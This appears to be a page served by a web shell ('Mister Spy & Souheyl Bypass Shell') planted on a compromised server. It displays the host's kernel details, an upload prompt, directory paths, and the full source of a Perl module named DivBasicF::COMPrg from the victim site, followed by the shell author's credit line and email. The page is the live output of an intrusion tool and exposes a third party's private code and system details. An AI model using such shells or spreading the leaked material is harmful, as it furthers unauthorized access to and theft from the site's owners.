Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/50_dev2017/1300__perllib/DivBasicF/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/50_dev2017/1300__perllib/DivBasicF/COMPrg.pm

package DivBasicF::COMPrg;

use strict;
use vars qw(@ISA);
use DivBasicF::COMsimple;
use Data::Dumper;
@ISA = qw(DivBasicF::COMsimple);

#*******************************************************

sub idx {

   my $self = shift;
   my $mode = shift;
   $mode =~ s/^\_\_//;
   if (defined($self->{$mode})) {
      return([$self->{$mode}]);
   }
   return([$self->{$mode}]);

}

#**************************************************************
#**************************************************************

sub read_in {  #  Einlesen des prg_pars-Hash

   my $self            = shift;
   $self->{'prg_pars'} = shift;  # gedumpte Version des Parameter-Hashes

   my $erg = eval("{".$self->{'prg_pars'}."}");
   my $o;
   if ($@) {
      $self->{'error_prg_pars'} = $@;
   }
   elsif (ref($erg) ne "HASH") {
      $self->{'error_prg_pars'} = 'is not HASH';
   }
   else {
      delete ($self->{'error_prg_pars'});
      delete ($self->{'prg_func'});
      my $obj = {};
      foreach $o (keys %$erg) {
         next if ($erg->{$o} eq "?");
         $self->{$o} = $erg->{$o};
         if (ref($self->{$o}) eq "CODE") {
            $obj->{$o} = 1;
         }
      }
      if (%$obj) {
         $o = $self->{'prg_pars'};
         $self->actualize($obj);
         $self->{'prg_func'} = $self->{'prg_pars'};
         $self->{'prg_pars'} = $o;
      }
   }

}

#**************************************************************

sub actualize {

   my $self = shift;
   my $obj  = shift;
   my $text = eval("{".$self->{'prg_pars'}."}");
   if (!$obj) { $obj = $self; }
   
   my $o; my $o1; my $o2; my $o3; my $text1; my $pars; my $pars1;

   foreach $o (keys %$text) {
   
      next if (ref($text->{$o}) eq "CODE");
      $o1 = Dumper($text->{$o});   #  alter, gedumpter Wert
      $o2 = Dumper($obj->{$o});    #  neuer, gedumpter Wert
      next if ($o1 eq $o2);
      $o1 =~ s/^\s*(.*?)\s*/$1/;   #  wenn beides nicht gleich ist:
      $o1 =~ s/^\$VAR1 +\= +//;
      $o1 =~ s/\;$//;
      $pars = $self->{'prg_pars'}; #  Dump-Version des Prg Pars
      $text1 = "";
      while (0 == 0) {
         eval($text1 . " \}");
         last if (!$@);
         last if ($pars !~ s/^(.*)(\'$o\')/$2/s);
         $text1 = $text1 . $1;
      }        #  in $text1 steht jetzt die alte Version von prg pars
               #  bis zum aktuellen Key (der Rest danach ist abgeschnitten)
      next if ($@);
      next if ($pars !~ s/^(\'$o\' +\=\> +)//s);
      $o3    = $1;
      $pars1 = "";
      while (0 == 0) {
         last if ($pars !~ s/^(.*?)\n(.*)/$2/s);
         $pars1 = $pars1 . $1 . "\n";
         next if ($pars1 !~ /\, *\n$/s);
         eval("\{ \'xxx\' => " . $pars1 . "\}");
         last if (!$@);
      }
      eval("\{ \'xxx\' => " . $pars1 . "\}");
      print "$@\n" if ($@);
      next if ($@);
      $o2 =~ s/^\n*(.*?)\n*$/$1/s;
      $o2 =~ s/^\$VAR1 +\= +//s;
      $o2 =~ s/\;$//s;
      if ($o2 eq "undef") {
         $text1 =~ s/^(.*?) *$/$1/s;
         $self->{'prg_pars'} = $text1 . $pars;
      } else {
         $self->{'prg_pars'} = $text1 . $o3 . $o2 . ",\n" . $pars;
      }
   }   
   return(1);
   
}

#**************************************************************

sub activate_functions {

   my $self = shift;
   my $func = eval($self->{'prg_func'});
   return() if ($@ or ref($func) ne "HASH");
   my $o;
   foreach $o (keys %$func) {
      $self->{$o} = $func->{$o};
   }

}

#**************************************************************

sub process {

   my $self       = shift;
   my $wait       = shift;
   my $interval   = shift;
   my $connection = shift;
   my $pars       = [@_];

   $self->connection($connection) if ($connection);
   $self->msg($pars) if (@$pars);
   $pars          = $self->get($wait,$interval);
   $connection    = $self->get_connection() if (ref($pars));
   
   return($connection,$pars);

}

#**************************************************************
#**************************************************************

sub xxdumper {

   my $self = shift;
   my $obj  = shift;

   my $functions = {};
   my $o; my $o1;
   my $zaehler = 0;

   if (ref($obj) eq "HASH1") {

      foreach $o (keys %$obj) {
         next if ($obj->{$o} =~ /^\s*sub\s*\{/s);
         next if (ref(eval($obj->{$o})) ne "CODE");
         $zaehler = $zaehler + 1;
         $o1      = "___FUNC" . $zaehler . "___";
         $functions->{$o1} = $obj->{$o};
         $obj->{$o} = $o1;
      }

   }

   my $text = Dumper($obj);
   $text =~ s/^\s*\$VAR1\s*\=\s*//s;
   $text =~ s/\}\s*\;\s*$/\}\n/s;
   
   while ($text =~ s/(___FUNC\d+___)/___FUNC___/) {
      $o = $functions->{$1};
      $text =~ s/[\"\']___FUNC___[\"\']/$o/s;
   }

   return($text);
   
}

#**************************************************************

sub xxedit {  #  Ausfuehrung von ppl-Programmen

   my $self = shift;
   my $mode = shift;
   $self->{'prg_pars'} = shift;  # gedumpte Version des Parameter-Hashes
   my $next_step = shift;
   my @pars      = shift;
   
   my $erg; my $o; my @ee;
   $erg = eval("{".$self->{'prg_pars'}."}");
   if ($@ or ref($erg) ne "HASH") {
      return(["___SLEEP___","error","edit","Error in parameters:\n\n".
                  $self->{'prg_pars'}."\n\n".$@]);
   }
   foreach $o (keys %$erg) {
      $self->{$o} = $erg->{$o};
   }

   if (!($next_step)) { $next_step = $self->{'interpreter'}; }

   return(["___NEXT___",$next_step,@pars]);   
   
}


1;

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net